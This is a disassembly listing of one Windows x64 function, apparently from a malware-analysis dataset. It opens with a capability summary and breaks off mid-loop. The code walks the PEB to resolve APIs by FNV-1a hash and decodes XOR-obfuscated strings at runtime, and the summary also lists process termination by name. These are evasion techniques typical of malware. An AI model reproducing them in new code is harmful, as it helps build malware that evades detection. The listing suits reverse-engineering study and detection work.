Function at 0x14006e010
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Encode data using xor
Encrypt data using speck
Enumerate processes
Generate random numbers using a mersenne twister
Get ntdll base address
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Terminate process
Terminate process by name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6ee0]
mov eax, 0x6fe0
call fcn.1400df640
sub rsp, rax
movaps xmmword [rsp + 0x6fd0], xmm6
movaps xmmword [rsp + 0x6fc0], xmm7
movaps xmmword [rsp + 0x6fb0], xmm8
mov rax, qword [0x1401757a8]
xor rax, rsp
mov qword [rbp + 0x6ea0], rax
xor r15d, r15d
mov dword [rsp + 0x50], r15d
call fcn.140066c20
call fcn.14004f6a0
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [0x1401763a4], eax
lea ecx, [r15 + 1]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [0x1401763a8], eax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006e136
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006e136
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14006e131
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14006e110
cmp r8d, 0xbc0e3315
je 0x14006e13b
test r9d, r9d
jne 0x14006e0f0
mov rcx, qword [rcx]
jmp 0x14006e0c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, 5
mov rcx, rsi
call r8
mov byte [rsp + 0x41], gethostname
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006e1f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006e1f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006e1f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006e1d0
cmp r8d, 0x9a9264ad
je 0x14006e1fb
test r9d, r9d
jne 0x14006e1b0
mov rax, qword [rax]
jmp 0x14006e180
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rsp + 0x41], r15b
lea rcx, [rsp + 0x41]
call rdx
lea rcx, [0x140177750]
call fcn.140089980
cmp byte [0x140177960], r15b
jne 0x14006e7aa
movups xmm0, xmmword [0x14013cca0]
movups xmmword [rbp + 0x260], xmm0
mov eax, dword [0x14013ccb0]
mov dword [rbp + 0x270], eax
movzx eax, byte [0x14013ccb4]
mov byte [rbp + 0x274], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006e2e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006e2e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006e2e1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006e2c0
cmp r8d, 0xe76fb4aa
je 0x14006e2eb
test r9d, r9d
jne 0x14006e2a0
mov rax, qword [rax]
jmp 0x14006e270
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
mov r8d, r15d
mov r13d, 4
lea r14d, [r13 + 0x1b]
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x14006e467
movdqa xmm5, xmmword [0x1400ea960]
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x14013d4c0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14013d530]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x264]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14006e360
cmp r8d, 0x15
jge 0x14006e4b0
movsxd rax, r8d
lea r9, [rbp + 0x260]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14006e480
lea rcx, [rbp + 0x260]
call r11
movups xmm0, xmmword [str.tWLV_]
movups xmmword [rbp + 0x678], xmm0
movsd xmm1, qword [0x14013ccc8]
movsd qword [rbp + 0x688], xmm1
mov eax, dword [0x14013ccd0]
mov dword [rbp + 0x690], eax
cmp byte [0x14013ccd3], r15b
je 0x14006e690
cmp ebx, 2
jl 0x14006e649
movdqa xmm5, xmmword [0x1400ea960]
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x14013d4c0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14013d530]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x67c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r15d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r15 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r15d, 8
mov eax, r15d
lea rcx, [rcx + 8]
cmp r15d, 0x18
jl 0x14006e540
cmp eax, 0x1c
jge 0x14006e690
movsxd rax, r15d
lea r8, [rbp + 0x678]
add r8, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r15d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r15b
sub al, cl
add al, 0x37
xor byte [r8], al
inc r15d
lea r8, [r8 + 1]
cmp r15d, 0x1c
jl 0x14006e660
lea rdx, [rbp + 0x678]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140049bb0
lea rdx, [0x14004b270]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006e746
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006e746
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006e741
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006e720
cmp r8d, 0x2fa62ca8
je 0x14006e74b
test r9d, r9d
jne 0x14006e700
mov rax, qword [rax]
jmp 0x14006e6d0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x7d0
call rax
xor eax, eax
mov rcx, qword [rbp + 0x6ea0]
xor rcx, rsp
call fcn.1400df460
lea r11, [rsp + 0x6fe0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [0x140177750]
call fcn.140086590
lea rcx, [0x140177750]
call fcn.140086590
mov esi, Ordinal_35
lea r13d, [rsi - 0x1b]
mov r12d, dword [reloc.WS2_32.dll_accept]
test al, al
je 0x14006ecd6
movups xmm0, xmmword [0x14013ccd8]
movups xmmword [rbp + 0x278], xmm0
mov eax, dword [0x14013cce8]
mov dword [rbp + 0x288], eax
movzx eax, byte [0x14013ccec]
mov byte [rbp + 0x28c], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006e896
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006e896
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006e891
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006e870
cmp r8d, 0xe76fb4aa
je 0x14006e89b
test r9d, r9d
jne 0x14006e850
mov rax, qword [rax]
jmp 0x14006e820
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x14006ea07
movdqa xmm5, xmmword [0x1400ea960]
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x14013d4c0]
movd xmm8, esi
movdqa xmm0, xmmword [0x14013d530]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x27c]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14006e900
cmp r8d, 0x15
jge 0x14006ea50
movsxd rax, r8d
lea r9, [rbp + 0x278]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14006ea20
lea rcx, [rbp + 0x278]
call r11
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x14013ccf0]
movups xmmword [rbp + 0xb0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14006ec10
cmp r12d, 2
jl 0x14006ebd1
movdqa xmm5, xmmword [0x1400ea960]
mov edx, r15d
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x14013d4c0]
movd xmm8, esi
movdqa xmm0, xmmword [0x14013d530]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xb4]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14006ead0
jmp 0x14006ec10
lea r9, [rbp + 0xb0]
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14006ebe0
lea rdx, [rbp + 0xb0]
mov rcx, r10
call fcn.140049bb0
lea rdx, [0x14004b2b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006ecb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006ecb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006ecb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006ec90
cmp r8d, 0xcded1a85
je 0x14006ecbb
test r9d, r9d
jne 0x14006ec70
mov rax, qword [rax]
jmp 0x14006ec40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
lea rcx, [0x140177750]
call fcn.1400858d0
mov eax, dword [0x14013cd00]
mov dword [rsp + 0x74], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006ed76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006ed76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006ed71
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006ed50
cmp r8d, 0x491e0a9c
je 0x14006ed7b
test r9d, r9d
jne 0x14006ed30
mov rax, qword [rax]
jmp 0x14006ed00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r12d, 2
jl 0x14006ee26
movdqa xmm3, xmmword [0x1400ea960]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14013d5e0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14013d5e0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14013d4c0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14013d530]
movd xmm0, dword [rsp + 0x74]
pxor xmm2, xmm0
movd dword [rsp + 0x74], xmm2
jmp 0x14006ee5f
lea r9, [rsp + 0x74]
mov r8d, r15d
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r13d
jl 0x14006ee30
lea rcx, [rsp + 0x74]
call r11
movups xmm0, xmmword [0x14013cd08]
movups xmmword [rbp + 0x290], xmm0
mov eax, dword [0x14013cd18]
mov dword [rbp + 0x2a0], eax
movzx eax, byte [0x14013cd1c]
mov byte [rbp + 0x2a4], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006ef16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006ef16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006ef11
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006eef0
cmp r8d, 0xe76fb4aa
je 0x14006ef1b
test r9d, r9d
jne 0x14006eed0
mov rax, qword [rax]
jmp 0x14006eea0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x14006f087
movdqa xmm5, xmmword [0x1400ea960]
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x14013d4c0]
movd xmm8, esi
movdqa xmm0, xmmword [0x14013d530]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x294]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14006ef80
cmp r8d, 0x15
jge 0x14006f0d0
movsxd rax, r8d
lea r9, [rbp + 0x290]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14006f0a0
lea rcx, [rbp + 0x290]
call r11
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x14013cd20]
movups xmmword [rbp + 0xc0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14006f290
cmp r12d, 2
jl 0x14006f251
movdqa xmm5, xmmword [0x1400ea960]
mov edx, r15d
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x14013d4c0]
movd xmm8, esi
movdqa xmm0, xmmword [0x14013d530]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xc4]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
